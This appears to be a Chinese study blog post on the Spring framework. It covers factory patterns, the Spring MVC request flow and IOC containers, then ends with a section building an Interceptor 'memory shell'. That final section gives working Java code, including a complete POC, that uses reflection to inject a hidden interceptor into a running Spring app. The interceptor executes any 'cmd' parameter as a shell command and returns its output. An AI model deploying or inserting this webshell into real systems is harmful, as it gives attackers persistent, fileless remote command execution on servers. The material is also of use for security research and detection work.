Spring简单学习
- spring中的设计模式
- 工厂模式
- 简单工厂模式
- 工厂方法模式
- Springmvc简单学习
- MVC模式
- Spring MVC 常用组件
- Spring MVC 工作流程
- [Spring IOC](https://juejin.cn/post/6983957368115560485#heading-3)
- IOC是什么
- 使用IOC
- Spring提供的IOC容器
- Spring的IOC实现原理
- **Root Context和Child Context**举个web.xml例子:
- Interceptor拦截器内存马
- Interceptor注册
- 内存马构造流程
- 完整POC
参考1
参考2
spring中的设计模式
工厂模式
它的设计目的的话我理解为封装的意思,比如举个例子,如果你要使用洗衣机,你只需要点开机,不需要关心洗衣机内部是怎么运作的
简单工厂模式
简单工厂模式,又叫做静态工厂模式(Static Factory Method),由一个工厂对象决定创建出哪一种产品类的实例,简单工厂模式的实质是由一个工厂类根据传入的参数,动态决定应该创建哪一个产品类。
简单工厂适用场景
工厂类负责创建的对象比较少;客户端(应用层)只需要知道传入工厂类的参数,对于如何创建对象(逻辑)不关心。
简单工厂优缺点
优点:只需要传入一个正确的参数,就可以获取你所需要的对象,而无需知道其细节创建。
缺点:工厂类的职责相对过重,增加新的产品,需要修改工厂类的判断逻辑,违背了开闭原则。
我们使用代码来实现一下
首先是我们的规范
Phone类:手机标准规范类(AbstractProduct)
public interface Phone {
void make();
}
产品类
MiPhone类:制造小米手机(Product1)
public class MiPhone implements Phone {
public MiPhone() {
this.make();
}
@Override
public void make() {
// TODO Auto-generated method stub
System.out.println("make xiaomi phone!");
}
}
IPhone类:制造苹果手机(Product2)
public class IPhone implements Phone {
public IPhone() {
this.make();
}
@Override
public void make() {
// TODO Auto-generated method stub
System.out.println("make iphone!");
}
}
工厂类
PhoneFactory类:手机代工厂(Factory)
public class PhoneFactory {
public Phone makePhone(String phoneType) {
if(phoneType.equalsIgnoreCase("MiPhone")){
return new MiPhone();
}
else if(phoneType.equalsIgnoreCase("iPhone")) {
return new IPhone();
}
return null;
}
}
可以看到我们如果想创造一个手机,不需要再去new啥的,而是直接通过工厂类的方法去创造一个手机
工厂方法模式
工厂方法模式(Factory Method),又称多态性工厂模式,属于设计模式三大分类中的创建型模式,作为抽象工厂模式的孪生兄弟,工厂方法模式定义了一个创建对象的接口,但由子类决定要实例化的类是哪一个,也就是说工厂模式让实例化推迟到子类。
在工厂模式中,核心的工厂类不再负责所有的产品的创建,而是将具体的工作交给子类去做。该核心类成为一个抽象工厂角色,仅负责给出具体工厂子类必须实现的接口,而不接触哪一个产品应当被实例化这种细节。
工厂方法优缺点
优点:用户只需要关系所需产品对应的工厂,无须关心创建细节;加入新产品符合开闭原则,提高可扩展性。
缺点:类的个数容易过多,增加复杂度;增加了系统的抽象性和理解难度。
工厂方法模式非常符合“开闭原则”,当需要增加一个新产品时,我们只需要增加一个具体的产品类和与之对应的具体工厂即可,无须关系产品的创建过程,甚至连具体的产品类名称都不需要知道。虽然他很好的符合了“开闭原则”,但是由于每新增一个新产品时就需要增加两个类,这样势必就会导致系统的复杂度增加。
也就是定义一个抽象工厂,其定义了产品的生产接口,但不负责具体的产品,将生产任务交给不同的派生类工厂。这样不用通过指定类型来创建对象了。
代码实现
我们的Phone接口和xiaomi IPhone产品类还是不变
总工厂
package factory.methodfactory;
import factory.Phone;
public interface Factory {
Phone makePhone();
}
工厂的派工厂
package factory.methodfactory;
import factory.IP;
import factory.Phone;
public class IPFactory implements Factory{
@Override
public Phone makePhone() {
return new IP();
}
}
package factory.methodfactory;
import factory.MI;
import factory.Phone;
public class MiFactory implements Factory {
@Override
public Phone makePhone() {
return new MI();
}
}
测试
package factory.methodfactory;
import factory.Phone;
public class Test {
public static void main(String[] args) {
Factory MiFactory = new MiFactory();
Factory IPFactory = new IPFactory();
Phone xiaomi= MiFactory.makePhone();
Phone iphone= IPFactory.makePhone();
}
}
Springmvc简单学习
MVC模式
我们先了解一下什么是MVC模式
MVC 模式,全称为 Model-View-Controller(模型-视图-控制器)模式,它是一种软件架构模式,其目标是将软件的用户界面(即前台页面)和业务逻辑分离,使代码具有更高的可扩展性、可复用性、可维护性以及灵活性。
MVC 模式将应用程序划分成模型(Model)、视图(View)、控制器(Controller)等三层,如下图所示
Spring MVC 常用组件
Spring MVC 的常用组件共有 6 个,它们分别是: DispatcherServlet(前端控制器)、HandlerMapping(处理器映射器)、HandlerAdapter(处理器适配器)、Handler(处理器)、ViewResolver(视图解析器)和 View(视图)
Spring MVC 工作流程
SpringMVC 的执行流程如下。
用户通过浏览器发起一个 HTTP 请求,该请求会被 DispatcherServlet(前端控制器)拦截;
DispatcherServlet 调用 HandlerMapping(处理器映射器)找到具体的处理器(Handler)及拦截器,最后以 HandlerExecutionChain 执行链的形式返回给 DispatcherServlet。
DispatcherServlet 将执行链返回的 Handler 信息发送给 HandlerAdapter(处理器适配器);
HandlerAdapter 根据 Handler 信息找到并执行相应的 Handler(即 Controller 控制器)对请求进行处理;
Handler 执行完毕后会返回给 HandlerAdapter 一个 ModelAndView 对象(Spring MVC 的底层对象,包括 Model 数据模型和 View 视图信息);
HandlerAdapter 接收到 ModelAndView 对象后,将其返回给 DispatcherServlet ;
DispatcherServlet 接收到 ModelAndView 对象后,会请求 ViewResolver(视图解析器)对视图进行解析;
ViewResolver 解析完成后,会将 View 视图并返回给 DispatcherServlet;
DispatcherServlet 接收到具体的 View 视图后,进行视图渲染,将 Model 中的模型数据填充到 View 视图中的 request 域,生成最终的 View(视图);
视图负责将结果显示到浏览器(客户端)。
Spring IOC
讲得很好,直接抄
IOC是什么
IOC是“Inversion of Control”的缩写,翻译过来就是“控制反转”。
我们先不深究其在Spring中的含义,先从字面上进行分析。打个比方来说:结婚前你的工资完全由你来支配,想怎么花就怎么花。结婚后变了,你的钱要上交给你媳妇了,你想花的时候得申请。此时你对工资的控制转变了,由原来的你控制,变成了你媳妇控制。这就是“控制反转”,本来属于你控制的事情,交由别人来控制,而你只在需要的时候进行获取就可以了。
相信通过这个比喻大家对“控制反转”的含义都已经理解了,那么它在Spring中的体现就是:把创建对象的过程交给Spring来进行管理,从而做到将原来需要自己手动new对象,变成直接从Spring中获取。
这就就好比Spring中有一个容器,我们将Bean放到这个容器中,让这个容器为我们创建实例,当需要时我们直接从这个容器中进行获取即可。这个容器的实现理念就是IOC。
使用IOC
假设现在有一道菜:宫保鸡丁
public class KungPaoChicken {
public static KungPaoChicken getKungPaoChicken(各种食材) {
// 加工各种食材最终得到一份美味的宫爆鸡丁。
return KungPaoChicken;
}
}
如果现在不使用IOC,我们想要吃到宫保鸡丁,那么就需要如下操作。
public class Person() {
// 采购各种食材
// 准备好各种食材通过KungPaoChicken获取到一份宫保鸡丁。
KungPaoChicken kungPaoChicken = KungPaoChicken.getKungPaoChicken(各种食材);
}
代码之间的耦合关系图:
看起来也不难,也不麻烦对吧?
别着急下定论,现在只是一个人想要宫保鸡丁,假如现在有10个人都想要那?是不是有十份相同的代码?这10个人都和KungPaoChicken有耦合。又比如现在需要的食材有所改变,那这样的话是不是这10个人都需要调整代码?这么一来是不是发现这种实现方式一点也不友好。
使用IOC的做法
现在我们转变一下思路,不再自己动手做了,我们把这道菜的做法告诉饭店,让饭店来做。
public class Restaurant {
public static KungPaoChicken getKungPaoChicken() {
// 处理食材,返回宫保鸡丁
retur KungPaoChicken;
}
}
转变之后的耦合关系图:
经过这样处理,就可以很大程度上解决上面的这些问题。
1、我们将KungPaoChicken交给Restaurant(饭店)来进行管理,它的创建由Restaurant进行。
2、现在不论是1个人还是10个人我们只需要从Restaurant中进行获取就可以了。这样耦合就改变了,Person只需要和Restaurant发生耦合就可以了。
3、当KungPaoChicken有变动时,也不需要每个人都变动,只需要Restaurant随之改变就可以了。
Spring的IOC容器就充当了上面案例中的Restaurant角色,我们只需要告诉Spring哪些Bean需要Spring进行管理,然后通过指定的方式从IOC容器中获取即可。
Spring提供的IOC容器
Spring提供了一个接口BeanFactory。这个接口是Spring实现IOC容器的顶级接口,这个接口是Spring内部使用的,并不是专门为框架的使用者提供的。
我们一般使用的是BeanFactory的子接口ApplicationContext接口,这个接口提供了更多并且更加强大的功能。
在ApplicationContext接口中有三个常用的实现类分别是:AnnotationConfigApplicationContext、FileSystemXmlApplicationContext、ClassPathXmlApplicationContext。
容器的创建需要读取配置文件或配置类,通过这些配置告诉Spring哪些bean是需要Spring来进行管理的。
注意:读取配置文件时,如果读取绝对路径时入参需要添加前缀“file:”,读取相对路径时入参需要添加“classpath:”。
AnnotationConfigApplicationContext
作用:用于在全注解开发时,读取配置类的相关配置信息。
注意:通过@Configuration注解标注当前类为Spring的配置类
ApplicationContext context = new AnnotationConfigApplicationContext(自定义的配置类.class);
ClassPathXmlApplicationContext
作用:默认加载classPath下的配置文件,也就是代码编译之后的classes文件夹下。
注意:使用ClassPathXmlApplicationContext读取相对路径时入参的“classpath:”是可以省略的。读取绝对路径时,需要在入参添加前缀“file:”。
// 相对路径
ApplicationContext context = new ClassPathXmlApplicationContext("classpath:配置文件名称.xml");
ApplicationContext context = new ClassPathXmlApplicationContext("配置文件名称.xml");
// 绝对路径
ApplicationContext context = new ClassPathXmlApplicationContext("file:绝对路径下的配置文件路径");
FileSystemXmlApplicationContext
作用:默认加载的是项目的所在路径下的配置文件。注意:对FileSystemXmlApplicationContext来说读取绝对路径时的入参前缀“file:”是可以省略的,但是读取相对路径的入参“classpath:”是必须的。
// 相对路径
ApplicationContext context = new FileSystemXmlApplicationContext("classpath:beans.xml");
// 绝对路径
ApplicationContext context = new FileSystemXmlApplicationContext("file:绝对路径下的配置文件路径");
ApplicationContext context = new FileSystemXmlApplicationContext("绝对路径下的配置文件路径");
// 直接从项目的路径下
ApplicationContext context = new FileSystemXmlApplicationContext("src\main\resources\配置文件名");
Spring的IOC实现原理
ApplicationContext
BeanFactory 接口是 Spring IOC容器 的实际代表者,Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IOC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。
org.springframework.context.ApplicationContext接口也代表了 IOC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。
Root Context和Child Context举个web.xml例子:
…
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
…
这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation参数值配置为/WEB-INF/springmvc.xml。依照规范,当没有显式配置contextConfigLocation时,程序会自动寻找 /WEB-INF/<servlet_name>-servlet.xml作为配置文件,上文的<servlet_name>是DispatcherServlet,所以若是没有显示配置contextConfigLocation的话,会去找/WEB-INF/DispatcherServlet-servlet.xml作为配置文件。
每个具体的DispatcherServlet创建的是一个Child Context,代表一个独立的 IOC 容器;而 ContextLoaderListener所创建的是一个Root Context,代表全局唯一的一个公共 IOC 容器.如果要访问和操作 bean ,一般要获得当前代码执行环境的IOC 容器 代表者 ApplicationContext。
Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
所有的Context在创建后,都会被作为一个属性添加到了ServletContext中
ContextLoaderListener
ContextLoaderListener主要被用来初始化全局唯一的Root Context,即Root WebApplicationContext。这个Root WebApplicationContext会和其他 Child Context 实例共享它的 IOC 容器,供其他 Child Context 获取并使用容器中的 bean。
Interceptor拦截器内存马
Interceptor,拦截器它起着跟Tomcat Filter相同的作用。即请求到达控制器Controller前,会拦截请求,在拦截器Interceptor中处理请求后在委派给控制器Controller处理请求
Interceptor注册
定位DispatcherServlet#doDispatch方法
首先先调用的getHandler方法
这里会返回一个HandlerExecutionChain对象,来源于HandlerMapping实例对象的getHandler方法,默认调用RequestMappingHandlerMapping#getHandler方法
该方法从adaptedInterceptors中把符合的拦截器添加到chain里。adaptedInterceptors就存放了全部拦截器返回到DispatcherServlet#doDispatch(),getHandler后执行了applyPreHandle遍历执行了拦截器。
而且可以看到applyPreHandle后面就是ha.handle(),执行controller,所以说Interceptors是在controller之前执行的
preHandle( ):该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
postHandle( ):该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
afterCompletion( ):该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
内存马构造流程
获取RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
反射获取adaptedInterceptors
因为我们的拦截器都是从这里面获取的
Field field = null;
try {
field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
重写恶意方法
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
添加恶意拦截器
EvilInterceptors evilInterceptors = new EvilInterceptors("nivia");
adaptedInterceptors.add(evilInterceptors);
完整POC
package org.example.memshell.serialize.spring;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;
public class EvilInterceptors extends AbstractTranslet implements HandlerInterceptor {
public EvilInterceptors() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(rs);
EvilInterceptors evilInterceptors = new EvilInterceptors("nivia");
adaptedInterceptors.add(evilInterceptors);
}
public EvilInterceptors(String name){}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}